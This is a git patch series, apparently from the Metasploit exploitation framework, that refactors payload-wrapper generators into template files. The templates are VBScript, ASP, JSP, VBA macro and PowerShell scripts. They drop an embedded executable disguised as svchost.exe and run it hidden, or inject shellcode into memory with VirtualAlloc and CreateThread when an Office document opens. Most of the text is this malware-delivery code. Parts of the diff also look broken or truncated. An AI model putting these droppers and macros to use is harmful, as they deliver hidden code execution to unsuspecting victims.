#{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" - - vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" - vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" - vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" - vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n" - vbs << "#{var_stream}.Write #{var_bytes}\r\n" - vbs << "#{var_stream}.Close\r\n" - vbs << "Dim #{var_shell}\r\n" - vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" - - vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n" - vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n" - vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n" - vbs << "End Function\r\n" - - vbs << "Do\r\n" if persist - vbs << "#{var_func}\r\n" - vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist - vbs << "Loop\r\n" if persist - vbs - end - def self.to_exe_asp(exes = '', opts={}) - exe = exes.unpack('C*') - vbs = "<%\r\n" + hash_sub[:var_shellcode] = lines.join("") - var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small - var_fname = Rex::Text.rand_text_alpha(rand(8)+8) - var_func = Rex::Text.rand_text_alpha(rand(8)+8) - var_stream = Rex::Text.rand_text_alpha(rand(8)+8) - var_obj = Rex::Text.rand_text_alpha(rand(8)+8) - var_shell = Rex::Text.rand_text_alpha(rand(8)+8) - var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) - var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) - var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:init] = "" - vbs << "Sub #{var_func}()\r\n" + hash_sub[:init] << "Do\r\n" if persist + hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" + hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" if persist + hash_sub[:init] << "Loop\r\n" if persist + + templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_vbs.vb.template") , "rb") + template = templateFile.read + templateFile.close - vbs << "#{var_bytes}=Chr(#{exe[0]})" + return template % hash_sub + end + def self.to_exe_asp(exes = '', opts={}) + exe = exes.unpack('C*') + + hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small + hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) + lines = [] + 1.upto(exe.length-1) do |byte| if(byte % 100 == 0) - lines.push "\r\n#{var_bytes}=#{var_bytes}" + lines.push "\r\n%{var_bytes}=%{var_bytes}" end # exe is an Array of bytes, not a String, thanks to the unpack # above, so the following line is not subject to the different # treatments of String#[] between ruby 1.8 and 1.9 - lines.push "&Chr(#{exe[byte]})" + lines.push "&Chr(%{exe[byte]})" end - vbs << lines.join("") + "\r\n" - - vbs << "Dim #{var_obj}\r\n" - vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" - vbs << "Dim #{var_stream}\r\n" - vbs << "Dim #{var_tempdir}\r\n" - vbs << "Dim #{var_tempexe}\r\n" - vbs << "Dim #{var_basedir}\r\n" - vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" - - vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" - vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" - vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" - vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n" - vbs << "#{var_stream}.Write #{var_bytes}\r\n" - vbs << "#{var_stream}.Close\r\n" - vbs << "Dim #{var_shell}\r\n" - vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" - - vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n" - vbs << "End Sub\r\n" - - vbs << "#{var_func}\r\n" - vbs << "%>\r\n" - vbs + + hash_sub[:var_shellcode] = lines.join("") + + templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_asp.asp.template") , "rb") + template = templateFile.read + templateFile.close + + return template % hash_sub end def self.to_exe_aspx(exes = '', opts={}) exe = exes.unpack('C*') - var_file = Rex::Text.rand_text_alpha(rand(8)+8) - var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) - var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) - var_filename = Rex::Text.rand_text_alpha(rand(8)+8) - var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) - var_iterator = Rex::Text.rand_text_alpha(rand(8)+8) - var_proc = Rex::Text.rand_text_alpha(rand(8)+8) - - source = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" - source << "<%@ Import Namespace=\"System.IO\" %>\r\n" - source << "\r\n" - source + + templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_aspx.aspx.template") , "rb") + template = templateFile.read + templateFile.close + + return template % hash_sub end def self.to_win32pe_psh_net(framework, code, opts={}) - var_code = Rex::Text.rand_text_alpha(rand(8)+8) - var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8) - var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8) - var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8) - var_output = Rex::Text.rand_text_alpha(rand(8)+8) - var_temp = Rex::Text.rand_text_alpha(rand(8)+8) - var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8) - var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8) - var_syscode = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) code = code.unpack('C*') - psh = "Set-StrictMode -Version 2\r\n" - psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n" - psh << "namespace #{var_kernel32} {\r\n" - psh << "public class func {\r\n" - psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n" - psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n" - psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n" - psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n" - psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n" - psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n" - psh << "} }\r\n" - psh << "\"@\r\n\r\n" - psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n" - psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n" - psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n" - psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n" - psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n" - - psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}" + lines = [] 1.upto(code.length-1) do |byte| if(byte % 10 == 0) - lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}" + lines.push "\r\n$#{hash_sub[:var_code]} += 0x#{code[byte].to_s(16)}" else lines.push ",0x#{code[byte].to_s(16)}" end end - psh << lines.join("") + "\r\n\r\n" - - psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n" - psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n" - psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n" - psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n" - psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n" - psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n" + hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" + + templateFile = File.open(File.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") , "rb") + template = templateFile.read + templateFile.close + + return template % hash_sub end def self.to_win32pe_psh(framework, code, opts={}) - var_code = Rex::Text.rand_text_alpha(rand(8)+8) - var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8) - var_payload = Rex::Text.rand_text_alpha(rand(8)+8) - var_size = Rex::Text.rand_text_alpha(rand(8)+8) - var_rwx = Rex::Text.rand_text_alpha(rand(8)+8) - var_iter = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8) + code = code.unpack("C*") # Add wrapper script - psh = "$#{var_code} = @\"\r\n" - psh << "[DllImport(\"kernel32.dll\")]\r\n" - psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n" - psh << "[DllImport(\"kernel32.dll\")]\r\n" - psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n" - psh << "[DllImport(\"msvcrt.dll\")]\r\n" - psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n" - psh << "\"@\r\n" - psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n" - # Set up the payload string - psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}" + lines = [] 1.upto(code.length-1) do |byte| if(byte % 10 == 0) - lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}" + lines.push "\r\n$#{hash_sub[:var_payload]} += 0x#{code[byte].to_s(16)}" else lines.push ",0x#{code[byte].to_s(16)}" end end - psh << lines.join("") + "\r\n\r\n" - psh << "$#{var_size} = 0x1000\r\n" - psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n" - psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n" - psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n" - psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n" + hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" + + templateFile = File.open(File.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") , "rb") + template = templateFile.read + templateFile.close + return template % hash_sub end def self.to_win32pe_vbs(framework, code, opts={}) @@ -1374,73 +1181,23 @@ def self.to_war(jsp_raw, opts={}) def self.to_jsp_war(exe, opts={}) # begin .jsp - var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) - var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) - var_data = Rex::Text.rand_text_alpha(rand(8)+8) - var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_counter = Rex::Text.rand_text_alpha(rand(8)+8) - var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) - var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) - var_comb = Rex::Text.rand_text_alpha(rand(8)+8) - var_exe = Rex::Text.rand_text_alpha(rand(8)+8) - var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) - var_proc = Rex::Text.rand_text_alpha(rand(8)+8) - var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) - var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) - - jspraw = "<%@ page import=\"java.io.*\" %>\n" - jspraw << "<%\n" - jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n" - jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" - jspraw << "String #{var_data} = \"\";\n" - - jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" - jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" - jspraw << "}\n" - - jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" - jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" - - jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" - jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" - jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" - jspraw << "#{var_inputstream}.close();\n" - - jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" - jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" - jspraw << "{\n" - jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" - jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" - jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" - jspraw << "#{var_comb} <<= 4;\n" - jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" - jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" - jspraw << "}\n" - - jspraw << "#{var_outputstream}.write(#{var_bytes});\n" - jspraw << "#{var_outputstream}.close();\n" - - jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" - jspraw << "String[] #{var_fperm} = new String[3];\n" - jspraw << "#{var_fperm}[0] = \"chmod\";\n" - jspraw << "#{var_fperm}[1] = \"+x\";\n" - jspraw << "#{var_fperm}[2] = #{var_exepath};\n" - jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" - jspraw << "if (#{var_proc}.waitFor() == 0) {\n" - jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" - jspraw << "}\n" - # Linux and other UNICES allow removing files while they are in use... - jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" - jspraw << "} else {\n" - # Windows does not .. - jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" - jspraw << "}\n" - - jspraw << "%>\n" + hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8) # Specify the payload in hex as an extra file.. payload_hex = exe.unpack('H*')[0] @@ -1452,7 +1209,11 @@ def self.to_jsp_war(exe, opts={}) ] }) - return self.to_war(jspraw, opts) + templateFile = File.open(File.join("data", "templates", "scripts", "to_jsp_war.war.template") , "rb") + template = templateFile.read + templateFile.close + + return self.to_war(template % hash_sub, opts) end From c2cf822013378297d387a240196fe09ec03caf34 Mon Sep 17 00:00:00 2001 From: Shelby Spencer Date: Tue, 20 Aug 2013 16:52:58 -0700 Subject: [PATCH 273/454] Commit adding the template scripts. --- .../templates/scripts/to_exe_asp.asp.template | 23 ++++++ .../scripts/to_exe_aspx.aspx.template | 34 ++++++++ data/templates/scripts/to_exe_vba.vb.template | 80 +++++++++++++++++++ data/templates/scripts/to_exe_vbs.vb.template | 24 ++++++ .../templates/scripts/to_jsp_war.war.template | 49 ++++++++++++ data/templates/scripts/to_vba.vb.template | 32 ++++++++ .../scripts/to_win32pe_psh.ps1.template | 19 +++++ .../scripts/to_win32pe_psh_net.ps1.template | 30 +++++++ 8 files changed, 291 insertions(+) create mode 100644 data/templates/scripts/to_exe_asp.asp.template create mode 100644 data/templates/scripts/to_exe_aspx.aspx.template create mode 100644 data/templates/scripts/to_exe_vba.vb.template create mode 100644 data/templates/scripts/to_exe_vbs.vb.template create mode 100644 data/templates/scripts/to_jsp_war.war.template create mode 100644 data/templates/scripts/to_vba.vb.template create mode 100644 data/templates/scripts/to_win32pe_psh.ps1.template create mode 100644 data/templates/scripts/to_win32pe_psh_net.ps1.template diff --git a/data/templates/scripts/to_exe_asp.asp.template b/data/templates/scripts/to_exe_asp.asp.template new file mode 100644 index 0000000000000..a4410a212af07 --- /dev/null +++ b/data/templates/scripts/to_exe_asp.asp.template @@ -0,0 +1,23 @@ +<% + Sub %{var_func}() + %{var_bytes}=Chr(%{exe[0]})%{var_shellcode} + Dim %{var_obj} + Set %{var_obj} = CreateObject("Scripting.FileSystemObject") + Dim %{var_stream} + Dim %{var_tempdir} + Dim %{var_tempexe} + Dim %{var_basedir} + Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2) + %{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName() + %{var_obj}.CreateFolder(%{var_basedir}) + %{var_tempexe} = %{var_basedir} & "\" & "svchost.exe" + Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0) + %{var_stream}.Write %{var_bytes} + %{var_stream}.Close + Dim %{var_shell} + Set %{var_shell} = CreateObject("Wscript.Shell") + %{var_shell}.run %{var_tempexe}, 0, false + End Sub + + %{var_func} +%> diff --git a/data/templates/scripts/to_exe_aspx.aspx.template b/data/templates/scripts/to_exe_aspx.aspx.template new file mode 100644 index 0000000000000..966741fc6f000 --- /dev/null +++ b/data/templates/scripts/to_exe_aspx.aspx.template @@ -0,0 +1,34 @@ +<%@ Page Language="C#" AutoEventWireup="true" %> +<%@ Import Namespace="System.IO" %> + diff --git a/data/templates/scripts/to_exe_vba.vb.template b/data/templates/scripts/to_exe_vba.vb.template new file mode 100644 index 0000000000000..52aec8ff725ea --- /dev/null +++ b/data/templates/scripts/to_exe_vba.vb.template @@ -0,0 +1,80 @@ +'************************************************************** +'* +'* This code is now split into two pieces: +'* 1. The Macro. This must be copied into the Office document +'* macro editor. This macro will run on startup. +'* +'* 2. The Data. The hex dump at the end of this output must be +'* appended to the end of the document contents. +'* +'************************************************************** +'* +'* MACRO CODE +'* +'************************************************************** + +Sub Auto_Open() + %{func_name1} +End Sub + +Sub %{func_name1}() + Dim %{var_appnr} As Integer + Dim %{var_fname} As String + Dim %{var_fenvi} As String + Dim %{var_fhand} As Integer + Dim %{var_parag} As Paragraph + Dim %{var_index} As Integer + Dim %{var_gotmagic} As Boolean + Dim %{var_itemp} As Integer + Dim %{var_stemp} As String + Dim %{var_btemp} As Byte + Dim %{var_magic} as String + %{var_magic} = "%{var_magic}" + %{var_fname} = "%{filename}.exe" + %{var_fenvi} = Environ("USERPROFILE") + ChDrive (%{var_fenvi}) + ChDir (%{var_fenvi}) + %{var_fhand} = FreeFile() + Open %{var_fname} For Binary As %{var_fhand} + For Each %{var_parag} in ActiveDocument.Paragraphs + DoEvents + %{var_stemp} = %{var_parag}.Range.Text + If (%{var_gotmagic} = True) Then + %{var_index} = 1 + While (%{var_index} < Len(%{var_stemp})) + %{var_btemp} = Mid(%{var_stemp},%{var_index},4) + #Put %{var_fhand}, , %{var_btemp} + %{var_index} = %{var_index} + 4 + Wend + ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then + %{var_gotmagic} = True + End If + Next + Close %{var_fhand} + %{func_name2}(%{var_fname}) +End Sub + +Sub %{func_name2}(%{var_farg} As String) + Dim %{var_appnr} As Integer + Dim %{var_fenvi} As String + %{var_fenvi} = Environ("USERPROFILE") + ChDrive (%{var_fenvi}) + ChDir (%{var_fenvi}) + %{var_appnr} = Shell(%{var_farg}, vbHide) +End Sub + +Sub AutoOpen() + Auto_Open +End Sub + +Sub Workbook_Open() + Auto_Open +End Sub + +'************************************************************** +'* +'* PAYLOAD DATA +'* +'************************************************************** + +%{var_magic}%{data} diff --git a/data/templates/scripts/to_exe_vbs.vb.template b/data/templates/scripts/to_exe_vbs.vb.template new file mode 100644 index 0000000000000..aa22756688e33 --- /dev/null +++ b/data/templates/scripts/to_exe_vbs.vb.template @@ -0,0 +1,24 @@ +Function %{var_func}() + %{var_bytes}=Chr(%{exe[0]})%{var_shellcode} + + Dim %{var_obj} + Set %{var_obj} = CreateObject("Scripting.FileSystemObject") + Dim %{var_stream} + Dim %{var_tempdir} + Dim %{var_tempexe} + Dim %{var_basedir} + Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2) + %{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName() + %{var_obj}.CreateFolder(%{var_basedir}) + %{var_tempexe} = %{var_basedir} & "\" & "svchost.exe" + Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false) + %{var_stream}.Write %{var_bytes} + %{var_stream}.Close + Dim %{var_shell} + Set %{var_shell} = CreateObject("Wscript.Shell") + %{var_shell}.run %{var_tempexe}, 0, true + %{var_obj}.DeleteFile(%{var_tempexe}) + %{var_obj}.DeleteFolder(%{var_basedir}) +End Function + +%{init} diff --git a/data/templates/scripts/to_jsp_war.war.template b/data/templates/scripts/to_jsp_war.war.template new file mode 100644 index 0000000000000..400cf02317630 --- /dev/null +++ b/data/templates/scripts/to_jsp_war.war.template @@ -0,0 +1,49 @@ +<%@ page import="java.io.*" %> +<% + String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt"; + String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}"; + String %{var_data} = ""; + + if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) + { + %{var_exepath} = %{var_exepath}.concat(".exe"); + } + + FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath}); + FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath}); + + int %{var_numbytes} = %{var_inputstream}.available(); + byte %{var_bytearray}[] = new byte[%{var_numbytes}]; + %{var_inputstream}.read(%{var_bytearray}); + %{var_inputstream}.close(); + byte[] %{var_bytes} = new byte[%{var_numbytes}/2]; + for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2) + { + char %{var_char1} = (char) %{var_bytearray}[%{var_counter}]; + char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1]; + int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff; + %{var_comb} <<= 4; + %{var_comb} += Character.digit(%{var_char2}, 16) & 0xff; + %{var_bytes}[%{var_counter}/2] = (byte)%{var_comb}; + } + + %{var_outputstream}.write(%{var_bytes}); + %{var_outputstream}.close(); + + if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){ + String[] %{var_fperm} = new String[3]; + %{var_fperm}[0] = "chmod"; + %{var_fperm}[1] = "+x"; + %{var_fperm}[2] = %{var_exepath}; + Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm}); + if (%{var_proc}.waitFor() == 0) { + %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); + } + + File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete(); + } + else + { + Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); + } +%> diff --git a/data/templates/scripts/to_vba.vb.template b/data/templates/scripts/to_vba.vb.template new file mode 100644 index 0000000000000..036d3ccc7670b --- /dev/null +++ b/data/templates/scripts/to_vba.vb.template @@ -0,0 +1,32 @@ +#If Vba7 Then + Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr + Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr + Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr +#Else + Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long + Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long + Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long +#EndIf + +Sub Auto_Open() + Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long +#If Vba7 Then + Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr +#Else + Dim %{var_rwxpage} As Long, %{var_res} As Long +#EndIf + %{var_myArray} = Array(%{bytes}) + %{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40) + For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray}) + %{var_myByte} = %{var_myArray}(%{var_offset}) + %{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1) + Next %{var_offset} + %{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0) +End Sub +Sub AutoOpen() + Auto_Open +End Sub +Sub Workbook_Open() + Auto_Open +End Sub + diff --git a/data/templates/scripts/to_win32pe_psh.ps1.template b/data/templates/scripts/to_win32pe_psh.ps1.template new file mode 100644 index 0000000000000..e23d3719c453a --- /dev/null +++ b/data/templates/scripts/to_win32pe_psh.ps1.template @@ -0,0 +1,19 @@ +$%{var_code} = @" +[DllImport("kernel32.dll")] +public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); +[DllImport("kernel32.dll")] +public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); +[DllImport("msvcrt.dll")] +public static extern IntPtr memset(IntPtr dest, uint src, uint count); +"@ + +$%{var_win32_func} = Add-Type -memberDefinition $%{var_code} -Name "Win32" -namespace Win32Functions -passthru +[Byte[]]$%{var_payload} = 0x%{code[0].to_s(16)}%{shellcode} + +$%{var_size} = 0x1000 + +if 